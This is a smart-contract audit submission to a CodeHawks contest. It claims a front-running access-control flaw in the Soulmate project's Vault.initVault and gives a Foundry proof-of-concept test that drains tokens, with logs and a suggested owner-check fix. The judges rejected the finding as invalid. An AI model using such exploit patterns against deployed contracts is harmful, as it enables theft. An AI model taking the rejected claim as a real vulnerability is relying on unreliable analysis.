First Flight #9: Soulmate

Beginner FriendlyFoundryNFT
100 EXP
Ended
Submission Details
Severity: high
Invalid

`Vault:: initVault` lack of access control leads to frontrunning deployer which cause claiming all tokens by the attacker

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Vault.sol#27-32

Summary

Lack of access control will cause to attacker claiming all the tokens

Vulnerability Details

In Vault contract, there is initVault function, which takes loveToken and manager as input to initialize the vault. It will be used to be handle airdrop and staking rewards. (by deploying twice, one for staking rewards and other for airdrop).
Here is the function --

/// @notice Init vault with the loveToken.
/// @notice Vault will approve its corresponding management contract to handle tokens.
/// @notice vaultInitialize protect against multiple initialization.
@> function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}

If you check the highlighted line, the function is public, which means can be called by anyone. Attacker can monitor the mempool and call the initVault before owner to get tokens to himself. Once vault is initialized, no one can update the variables.

When vault is initialized, Here is what happens -

/// @notice Called at the launch of the protocol.
/// @notice Will distribute all the supply to Airdrop and Staking Contract.
function initVault(address managerContract) public {
if (msg.sender == airdropVault) {
@> _mint(airdropVault, 500_000_000 ether);
@> approve(managerContract, 500_000_000 ether);
emit AirdropInitialized(managerContract);
} else if (msg.sender == stakingVault) {
@> _mint(stakingVault, 500_000_000 ether);
@> approve(managerContract, 500_000_000 ether);
emit StakingInitialized(managerContract);
} else revert LoveToken__Unauthorized();
}

500_000_000 love tokens minted to each vault, then vault tokens are approved to the manager, here manager is an input, which is in attacker control.
So he will input his address as manager and will be able to drain all the tokens from the vaults.

POC

In existing BaseTest.t.sol
remove or comment out following lines from setUp

airdropVault.initVault(
ILoveToken(address(loveToken)),
address(airdropContract)
);
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(stakingContract)
);

then create a following test function.

function testTokenDrainIfVaultInitializedByAttacker() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
uint256 balanceBeforeAttack = loveToken.balanceOf(attacker);

//// Attacker set his wallet as manager in both vaults
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(attacker)
);
loveToken.transferFrom(address(airdropVault), attacker, 500_000_000 ether);
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(attacker)
);
loveToken.transferFrom(address(stakingVault), attacker, 500_000_000 ether);
uint256 balanceAfterAttack = loveToken.balanceOf(attacker);
console2.log("Love Token balance of the attacker before attack:", balanceBeforeAttack);
console2.log("aLove Token balance of the attacker after attack", balanceAfterAttack);
vm.stopPrank();

/// when Actual owner tries to init vault
vm.startPrank(deployer);
vm.expectRevert();
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(airdropContract)
);
vm.expectRevert();
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(stakingContract)
);


When you run the following command in your terminal forge test --mt testTokenDrainIfVaultInitializedByAttacker -vv , it will return following logs

[⠢] Compiling...
[⠑] Compiling 4 files with 0.8.23
[⠘] Solc 0.8.23 finished in 2.52s
Running 1 test for test/unit/BaseTest.t.sol:BaseTest
[PASS] testTokenDrainIfVaultInitializedByAttacker() (gas: 183367)
Logs:
Love Token balance of the attacker before attack: 0
aLove Token balance of the attacker after attack 1000000000000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.80ms

It's recommended to restrict this function to be called by only owner.

Impact

Loss of love tokens, that are supposed to be given as airdrop and staking rewards.

Tools Used

Manual Review

Recommendations

Here are few recommendations, which can be implemented -

  • using a if block, so it can be called by only Owner.

pragma solidity ^0.8.23;

import {ILoveToken} from "./interface/ILoveToken.sol";

/// @title Vault Contract.
/// @author n0kto
/// @notice 2 vaults will be created : one for airdrop and one for staking.
contract Vault {

//// existing code
+ error Vault_OnlyOwner();
+ address private owner;
+ constructor () {
+ owner = msg.sender;
+ }

function initVault(ILoveToken loveToken, address managerContract) public {
+ if(msg.sender != owner) revert Vault_OnlyOwner();
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}

Updates

Community Judging Commences

Community Judging Judge
11 months ago
Community Judgement Published
100% Invalid

Lead Judging Commences

0xnevi Lead Judge
11 months ago

Invalid based on

  • Codehawks general guidelines

  • LoveToken.initVault() can only be called by airdrop vault/staking vault within LoveToken constructor determined by trusted deployer, and so no tokens will be minted. So worse case scenario is redeployment for reinitialization.

0xnevi Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Other
  • Codehawks general guidelines

  • LoveToken.initVault() can only be called by airdrop vault/staking vault within LoveToken constructor determined by trusted deployer, and so no tokens will be minted. So worse case scenario is redeployment for reinitialization.

Support

FAQs

Can’t find an answer? Join our Discord or follow us on Twitter.

Cyfrin
Updraft
CodeHawks
Solodit
Resources
Cyfrin CodeHawks | #4 - `Vault:: initVault` lack of access control leads to frontrunning deployer which cause claiming all tokens by the attacker